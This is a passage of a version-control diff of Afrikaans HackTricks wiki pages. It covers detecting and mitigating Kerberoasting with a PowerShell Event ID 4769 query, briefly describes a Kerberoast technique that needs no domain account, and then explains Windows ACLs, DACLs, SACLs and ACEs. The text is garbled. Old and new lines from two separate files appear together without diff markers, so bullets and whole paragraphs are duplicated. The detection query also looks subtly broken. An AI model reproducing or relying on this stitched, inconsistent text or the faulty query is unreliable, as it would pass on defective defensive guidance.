Kerberoasting kan met 'n hoë graad van heimlikheid uitgevoer word as dit uitgebuit kan word. Om hierdie aktiwiteit op te spoor, moet aandag geskenk word aan **Sekuriteitsgebeurtenis ID 4769**, wat aandui dat 'n Kerberos-kaartjie aangevra is. Tog, as gevolg van die hoë frekwensie van hierdie gebeurtenis, moet spesifieke filters toegepas word om verdagte aktiwiteite te isoleer:
* Die diensnaam moet nie **krbtgt** wees nie, aangesien dit 'n normale versoek is.
* Diensname wat eindig met **$** moet uitgesluit word om insluiting van rekeninge wat vir dienste gebruik word, te voorkom.
* Versoeke vanaf masjiene moet gefiltreer word deur rekeningname wat geformateer is as **masjien@domain**, uit te sluit.
* Diensname wat eindig met **$** moet uitgesluit word om insluiting van rekenaarrekeninge wat vir dienste gebruik word, te voorkom.
* Versoeke vanaf rekenaars moet gefiltreer word deur rekeningname wat geformateer is as **rekenaar@domain** uit te sluit.
* Slegs suksesvolle kaartjieversoeke moet oorweeg word, geïdentifiseer deur 'n mislukkingskode van **'0x0'**.
* **Die kaartjieversleutelingstipe moet veral** 0x17 wees, wat dikwels in Kerberoasting aanvalle gebruik word.
* **Die belangrikste**, die kaartjieversleutelingstipe moet **0x17** wees, wat dikwels in Kerberoasting aanvalle gebruik word.
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
Om die risiko van Kerberoasting te verminder:
* Verseker dat **Diensrekening Wagwoorde moeilik is om te raai**, met 'n aanbeveling van 'n lengte van meer as **25 karakters**.
* Maak gebruik van **Bestuurde Diensrekeninge**, wat voordele soos **outomatiese wagwoordveranderinge** en **gedelegerde Diensprinsipaal Naam (SPN) Bestuur** bied, wat die sekuriteit teen sulke aanvalle verbeter.
* Verseker dat **Diensrekeningwagwoorde moeilik is om te raai**, met 'n aanbeveling van 'n lengte van meer as **25 karakters**.
* Maak gebruik van **Bestuurde Diensrekeninge**, wat voordele soos **outomatiese wagwoordveranderinge** en **gedelegerde Diensprinsipaalnaam (SPN) Bestuur** bied, wat die sekuriteit teen sulke aanvalle verbeter.
Deur hierdie maatreëls te implementeer, kan organisasies die risiko wat met Kerberoasting geassosieer word aansienlik verminder.
## Kerberoast sonder domeinrekening
In **September 2022** is 'n nuwe manier om 'n stelsel te benut aan die lig gebring deur 'n navorser genaamd Charlie Clark, gedeel deur sy platform [exploit.ph](https://exploit.ph/). Hierdie metode maak die verkryging van **Dienskaartjies (ST)** moontlik deur 'n **KRB\_AS\_REQ** versoek, wat opmerklik nie beheer oor enige Aktiewe Advertensie-rekening vereis nie. In wese, as 'n hoof so opgestel is dat dit nie voor-verifikasie vereis nie—'n scenario soortgelyk aan wat in die sibersekuriteitswêreld bekend staan as 'n **AS-REP Roasting aanval**—kan hierdie eienskap benut word om die versoekproses te manipuleer. Spesifiek, deur die **sname** kenmerk binne die versoek se liggaam te verander, word die stelsel mislei om 'n **ST** uit te reik eerder as die standaard versleutelde Kaartjie-verlening Kaartjie (TGT).
In **September 2022** is 'n nuwe manier om 'n stelsel te benut aan die lig gebring deur 'n navorser genaamd Charlie Clark, gedeel deur sy platform [exploit.ph](https://exploit.ph/). Hierdie metode maak die verkryging van **Dienskaartjies (ST)** moontlik deur 'n **KRB\_AS\_REQ** versoek, wat opmerklik nie beheer oor enige Aktiewe Gids-rekening vereis nie. In wese, as 'n hoof so opgestel is dat dit nie voor-verifikasie vereis nie—'n scenario soortgelyk aan wat in die sibersekuriteitswêreld bekend staan as 'n **AS-REP Roasting-aanval**—kan hierdie eienskap benut word om die versoekproses te manipuleer. Spesifiek, deur die **sname** kenmerk binne die versoek se liggaam te verander, word die stelsel mislei om 'n **ST** uit te reik eerder as die standaard versleutelde Kaartjieverleningkaartjie (TGT).
Die tegniek word volledig verduidelik in hierdie artikel: [Semperis blogpos](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
@ -189,7 +189,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -198,7 +198,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=kerberoast) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=kerberoast" %}

View file

@ -3,20 +3,20 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -24,35 +24,35 @@ Ander maniere om HackTricks te ondersteun:
## **Toegangsbeheerlys (ACL)**
'n Toegangsbeheerlys (ACL) bestaan uit 'n geordende stel Toegangsbeheerinskrywings (ACE's) wat die beskerming vir 'n voorwerp en sy eienskappe bepaal. In wese bepaal 'n ACL watter aksies deur watter sekuriteitsprinsipale (gebruikers of groepe) toegelaat of ontken word op 'n gegewe voorwerp.
'n Toegangsbeheerlys (ACL) bestaan uit 'n geordende stel Toegangsbeheerinskrywings (ACEs) wat die beskerming vir 'n voorwerp en sy eienskappe bepaal. In wese bepaal 'n ACL watter aksies deur watter sekuriteitsprinsipale (gebruikers of groepe) toegelaat of ontken word op 'n gegewe voorwerp.
Daar is twee soorte ACL's:
Daar is twee soorte ACLs:
* **Diskresionêre Toegangsbeheerlys (DACL):** Spesifiseer watter gebruikers en groepe toegang tot 'n voorwerp het of nie.
* **Stelseltoegangsbeheerlys (SACL):** Beheer die ouditering van toegangspogings tot 'n voorwerp.
Die proses van die toegang tot 'n lêer behels dat die stelsel die sekuriteitsbeskrywing van die voorwerp teen die gebruiker se toegangsteken nagaan om te bepaal of toegang verleen moet word en die omvang van daardie toegang, gebaseer op die ACE's.
Die proses van die toegang tot 'n lêer behels dat die stelsel die sekuriteitsbeskrywing van die voorwerp teen die gebruiker se toegangsteken nagaan om te bepaal of toegang verleen moet word en die omvang van daardie toegang, gebaseer op die ACEs.
### **Kernkomponente**
* **DACL:** Bevat ACE's wat toegangsgemagtigings aan gebruikers en groepe verleen of ontken vir 'n voorwerp. Dit is in wese die hoof-ACL wat toegangsregte bepaal.
* **SACL:** Word gebruik vir die ouditering van toegang tot voorwerpe, waar ACE's die tipes toegang definieer wat in die Sekuriteitsgebeurtenisjoernaal gelog moet word. Dit kan van onschatbare waarde wees om ongemagtigde toegangspogings op te spoor of toegangsprobleme op te los.
* **DACL:** Bevat ACEs wat toegangsregte aan gebruikers en groepe vir 'n voorwerp verleen of ontken. Dit is in wese die hoof-ACL wat toegangsregte bepaal.
* **SACL:** Word gebruik vir die ouditering van toegang tot voorwerpe, waar ACEs die tipes toegang definieer wat in die Sekuriteitsgebeurtenisjoernaal gelog moet word. Dit kan van onschatbare waarde wees om ongemagtigde toegangspogings op te spoor of toegangsprobleme op te los.
### **Stelselinteraksie met ACL's**
### **Stelselinteraksie met ACLs**
Elke gebruikersessie word geassosieer met 'n toegangsteken wat sekuriteitsinligting wat relevant is vir daardie sessie bevat, insluitend gebruiker-, groepidentiteite en voorregte. Hierdie teken bevat ook 'n aanmeldings-SID wat die sessie uniek identifiseer.
Elke gebruikersessie is geassosieer met 'n toegangsteken wat sekuriteitsinligting wat relevant is vir daardie sessie bevat, insluitend gebruiker-, groepidentiteite en voorregte. Hierdie teken sluit ook 'n aanmeldings-SID in wat die sessie uniek identifiseer.
Die Plaaslike Sekuriteitsowerheid (LSASS) verwerk toegangsaanvrae tot voorwerpe deur die DACL vir ACE's te ondersoek wat ooreenstem met die sekuriteitsprinsipaals wat toegang probeer verkry. Toegang word onmiddellik verleen as geen relevante ACE's gevind word nie. Andersins vergelyk LSASS die ACE's teen die sekuriteitsprinsipaal se SID in die toegangsteken om toegangsgeregtigheid te bepaal.
Die Plaaslike Sekuriteitsowerheid (LSASS) verwerk toegangsaanvrae tot voorwerpe deur die DACL te ondersoek vir ACEs wat ooreenstem met die sekuriteitsprinsipaal wat toegang probeer verkry. Toegang word onmiddellik verleen as geen relevante ACEs gevind word nie. Andersins vergelyk LSASS die ACEs teen die sekuriteitsprinsipaal se SID in die toegangsteken om toegangsgeregtigheid te bepaal.
### **Gesommeerde Proses**
* **ACL's:** Definieer toegangsgemagtigings deur DACL's en ouditeringsreëls deur SACL's.
* **ACLs:** Definieer toegangsregte deur DACLs en ouditeringsreëls deur SACLs.
* **Toegangsteken:** Bevat gebruiker-, groep- en voorreginligting vir 'n sessie.
* **Toegangsbesluit:** Word gemaak deur DACL ACE's met die toegangsteken te vergelyk; SACL's word gebruik vir ouditering.
* **Toegangsbesluit:** Word gemaak deur DACL ACEs met die toegangsteken te vergelyk; SACLs word gebruik vir ouditering.
### ACE's
### ACEs
Daar is **drie hooftipes Toegangsbeheerinskrywings (ACE's)**:
Daar is **drie hooftipes Toegangsbeheerinskrywings (ACEs)**:
* **Toegang Geweier ACE**: Hierdie ACE ontken uitdruklik toegang tot 'n voorwerp vir gespesifiseerde gebruikers of groepe (in 'n DACL).
* **Toegang Toegelaat ACE**: Hierdie ACE verleen uitdruklik toegang tot 'n voorwerp vir gespesifiseerde gebruikers of groepe (in 'n DACL).
@ -69,24 +69,24 @@ Toegangsbepaling word uitgevoer deur elke ACE sekwensieel te ondersoek totdat:
* 'n **Toegang Geweier ACE** die versoekte regte uitdruklik ontken aan 'n trustee wat in die toegangsteken geïdentifiseer is.
* **Toegang Toegelaat ACE(s)** verleen alle versoekte regte uitdruklik aan 'n trustee in die toegangsteken.
* Na die ondersoek van alle ACE's, as enige versoekte reg nie uitdruklik toegelaat is nie, word toegang implisiet **ontken**.
* Na die ondersoek van alle ACEs, as enige versoekte reg nie uitdruklik toegelaat is nie, word toegang implisiet **ontken**.
### Volgorde van ACE's
### Volgorde van ACEs
Die manier waarop **ACE's** (reëls wat sê wie toegang tot iets kan hê of nie) in 'n lys genaamd **DACL** geplaas word, is baie belangrik. Dit is omdat sodra die stelsel toegang gee of ontken op grond van hierdie reëls, hou dit op om na die res te kyk.
Die manier waarop **ACEs** (reëls wat sê wie toegang tot iets kan hê of nie) in 'n lys genaamd **DACL** geplaas word, is baie belangrik. Dit is omdat sodra die stelsel toegang gee of ontken op grond van hierdie reëls, hou dit op om na die res te kyk.
Daar is 'n beste manier om hierdie ACE's te organiseer, en dit word **"kanoniese volgorde"** genoem. Hierdie metode help om seker te maak dat alles glad en reg werk. Dit gaan so vir stelsels soos **Windows 2000** en **Windows Server 2003**:
Daar is 'n beste manier om hierdie ACEs te organiseer, en dit word **"kanoniese volgorde"** genoem. Hierdie metode help om seker te maak dat alles glad en regtig werk. Dit gaan so vir stelsels soos **Windows 2000** en **Windows Server 2003**:
* Plaas eers al die reëls wat **spesifiek vir hierdie item** gemaak is voor diegene wat van elders kom, soos 'n ouermap.
* In daardie spesifieke reëls, plaas diegene wat sê **"nee" (ontken)** voor diegene wat sê **"ja" (toelaat)**.
* Vir die reëls wat van elders kom, begin met diegene van die **nabyste bron**, soos die ouer, en gaan dan terug van daar af. Weer, plaas **"nee"** voor **"ja."**
* Vir die reëls wat van elders kom, begin met diegene van die **nabyste bron**, soos die ouer, en gaan dan terug van daar af. Weereens, plaas **"nee"** voor **"ja."**
Hierdie opstelling help op twee groot maniere:
* Dit maak seker dat as daar 'n spesifieke **"nee"** is, dit geëerbiedig word, maak nie saak watter ander **"ja"** reëls daar is nie.
* Dit laat die eienaar van 'n item die **laaste sê** hê oor wie binnekom, voordat enige reëls van ouer- of verder terugkom in werking tree.
* Dit maak seker dat as daar 'n spesifieke **"nee"** is, dit geëerbiedig word, ongeag watter ander **"ja"** reëls daar is.
* Dit laat die eienaar van 'n item die **laaste sê** hê oor wie binnekom, voordat enige reëls van ouer-mappe of verder terug in werking tree.
Deur dit op hierdie manier te doen, kan die eienaar van 'n lêer of vouer baie presies wees oor wie toegang kry, en verseker dat die regte mense binnekom en die verkeerde nie.
Deur dit op hierdie manier te doen, kan die eienaar van 'n lêer of vouer baie presies wees oor wie toegang kry, en sorg dat die regte mense binnekom en die verkeerde nie.
![](https://www.ntfs.com/images/screenshots/ACEs.gif)
@ -103,7 +103,7 @@ Kry Toegang Vandag:
[**Voorbeeld van hier**](https://secureidentity.se/acl-dacl-sacl-and-the-ace/)
Dit is die klassieke sekuriteitstaba van 'n vouer wat die ACL, DACL en ACEs wys:
Dit is die klassieke sekuriteitstabaan van 'n vouer wat die ACL, DACL en ACEs wys:
![http://secureidentity.se/wp-content/uploads/2014/04/classicsectab.jpg](../../.gitbook/assets/classicsectab.jpg)
@ -125,25 +125,25 @@ Wanneer ons toegang tot hulpbronne, soos 'n vouer, bestuur, gebruik ons lyste en
#### Toegang tot 'n Spesifieke Groep Weier
Stel jou het 'n vouer genaamd Koste, en jy wil hê almal moet dit kan benader behalwe vir 'n bemarkingsspan. Deur die reëls korrek op te stel, kan ons verseker dat die bemarkingsspan uitdruklik die toegang ontneem word voordat almal anders toegang kry. Dit word gedoen deur die reël om toegang te weier aan die bemarkingsspan voor die reël wat toegang verleen aan almal te plaas.
Stel jou het 'n vouer genaamd Koste, en jy wil hê dat almal dit kan benader behalwe vir 'n bemarkingsspan. Deur die reëls korrek op te stel, kan ons verseker dat die bemarkingsspan eksplisiet die toegang ontneem word voordat almal anders toegang kry. Dit word gedoen deur die reël om toegang te weier aan die bemarkingsspan te plaas voordat die reël wat toegang aan almal toelaat.
#### Toegang verleen aan 'n Spesifieke Lid van 'n Geweierde Groep
#### Toegang toelaat aan 'n Spesifieke Lid van 'n Geweierde Groep
Laat ons sê Bob, die bemarkingsdirekteur, toegang tot die Koste-vouer nodig het, selfs al behoort die bemarkingsspan normaalweg nie toegang te hê nie. Ons kan 'n spesifieke reël (ACE) vir Bob byvoeg wat hom toegang verleen, en dit voor die reël plaas wat toegang aan die bemarkingsspan ontken. Op hierdie manier kry Bob toegang ten spyte van die algemene beperking op sy span.
#### Begrip van Toegangsbeheerinskrywings
ACEs is die individuele reëls in 'n ACL. Hulle identifiseer gebruikers of groepe, spesifiseer watter toegang toegelaat of ontken word, en bepaal hoe hierdie reëls van toepassing is op sub-items (erfenis). Daar is twee hooftipes ACEs:
ACEs is die individuele reëls in 'n ACL. Hulle identifiseer gebruikers of groepe, spesifiseer watter toegang toegelaat of geweier word, en bepaal hoe hierdie reëls van toepassing is op sub-items (erfenis). Daar is twee hooftipes ACEs:
* **Generiese ACEs**: Hierdie is breed van toepassing, wat óf al die tipes voorwerpe beïnvloed óf slegs onderskei tussen houers (soos vouers) en nie-houers (soos lêers). Byvoorbeeld, 'n reël wat gebruikers toelaat om die inhoud van 'n vouer te sien maar nie die lêers daarin te benader nie.
* **Generiese ACEs**: Hierdie is breed van toepassing, wat óf al die tipes voorwerpe beïnvloed óf slegs onderskei tussen houers (soos vouers) en nie-houers (soos lêers). Byvoorbeeld, 'n reël wat gebruikers toelaat om die inhoud van 'n vouer te sien maar nie om die lêers daarin te benader nie.
* **Voorwerpspesifieke ACEs**: Hierdie bied meer presiese beheer, wat reëls toelaat om ingestel te word vir spesifieke tipes voorwerpe of selfs individuele eienskappe binne 'n voorwerp. Byvoorbeeld, in 'n gids van gebruikers, mag 'n reël 'n gebruiker toelaat om hul telefoonnommer op te dateer maar nie hul aanmeldingstye nie.
Elke ACE bevat belangrike inligting soos aan wie die reël van toepassing is (deur 'n Sekuriteitsidentifiseerder of SID te gebruik), wat die reël toelaat of ontken (deur 'n toegangsmasker te gebruik), en hoe dit deur ander voorwerpe geërf word.
Elke ACE bevat belangrike inligting soos aan wie die reël van toepassing is (deur 'n Sekuriteitsidentifiseerder of SID te gebruik), wat die reël toelaat of weier (deur 'n toegangsmasker te gebruik), en hoe dit deur ander voorwerpe geërf word.
#### Sleutelverskille Tussen ACE-tipes
* **Generiese ACEs** is geskik vir eenvoudige toegangsbeheerscenarios, waar dieselfde reël van toepassing is op alle aspekte van 'n voorwerp of op alle voorwerpe binne 'n houer.
* **Voorwerpspesifieke ACEs** word gebruik vir meer komplekse scenarios, veral in omgewings soos Aktiewe Gids, waar jy dalk toegang tot spesifieke eienskappe van 'n voorwerp anders moet beheer.
* **Voorwerpspesifieke ACEs** word gebruik vir meer komplekse scenarios, veral in omgewings soos Aktiewe Gids, waar jy dalk toegang tot spesifieke eienskappe van 'n voorwerp andersins moet beheer.
Kortom, ACLs en ACEs help om presiese toegangsbeheer te definieer, wat verseker dat slegs die regte individue of groepe toegang tot sensitiewe inligting of hulpbronne het, met die vermoë om toegangsregte te spesifiseer tot op die vlak van individuele eienskappe of voorwerptipes.
@ -154,7 +154,7 @@ Kortom, ACLs en ACEs help om presiese toegangsbeheer te definieer, wat verseker
| Tipe | Vlag wat die tipe ACE aandui. Windows 2000 en Windows Server 2003 ondersteun ses tipes ACE: Drie generiese ACE-tipes wat aan alle beveiligbare voorwerpe geheg is. Drie voorwerp-spesifieke ACE-tipes wat vir Aktiewe Gids-voorwerpe kan voorkom. |
| Vlae | Stel van bietjievlags wat erfenis en ouditering beheer. |
| Grootte | Aantal bytes van geheue wat vir die ACE toegewys is. |
| Toegangsmasker | 32-bis-waarde waarvan die bietjies ooreenstem met toegangsregte vir die voorwerp. Bietjies kan óf aan óf af gestel word, maar die betekenis van die instelling hang af van die ACE-tipe. Byvoorbeeld, as die bietjie wat ooreenstem met die reg om toestemmings te lees, aangeskakel is, en die ACE-tipe is Weier, ontken die ACE die reg om die voorwerp se toestemmings te lees. As dieselfde bietjie aangeskakel is maar die ACE-tipe is Toelaat, verleen die ACE die reg om die voorwerp se toestemmings te lees. Meer besonderhede van die Toegangsmasker verskyn in die volgende tabel. |
| Toegangsmasker | 32-bisewaarde waarvan die bietjies ooreenstem met toegangsregte vir die voorwerp. Bietjies kan óf aan óf af gestel word, maar die betekenis van die instelling hang af van die ACE-tipe. Byvoorbeeld, as die bietjie wat ooreenstem met die reg om toestemmings te lees, aangeskakel is, en die ACE-tipe is Weier, weier die ACE die reg om die voorwerp se toestemmings te lees. As dieselfde bietjie aangeskakel is maar die ACE-tipe is Toelaat, verleen die ACE die reg om die voorwerp se toestemmings te lees. Meer besonderhede van die Toegangsmasker verskyn in die volgende tabel. |
| SID | Identifiseer 'n gebruiker of groep wie se toegang deur hierdie ACE beheer of gemonitor word. |
### Toegangsmaskeruitleg
@ -193,7 +193,7 @@ Ander maniere om HackTricks te ondersteun:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik werkstrome te bou en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces) om maklik **werkvloeie te bou en outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=acls-dacls-sacls-aces" %}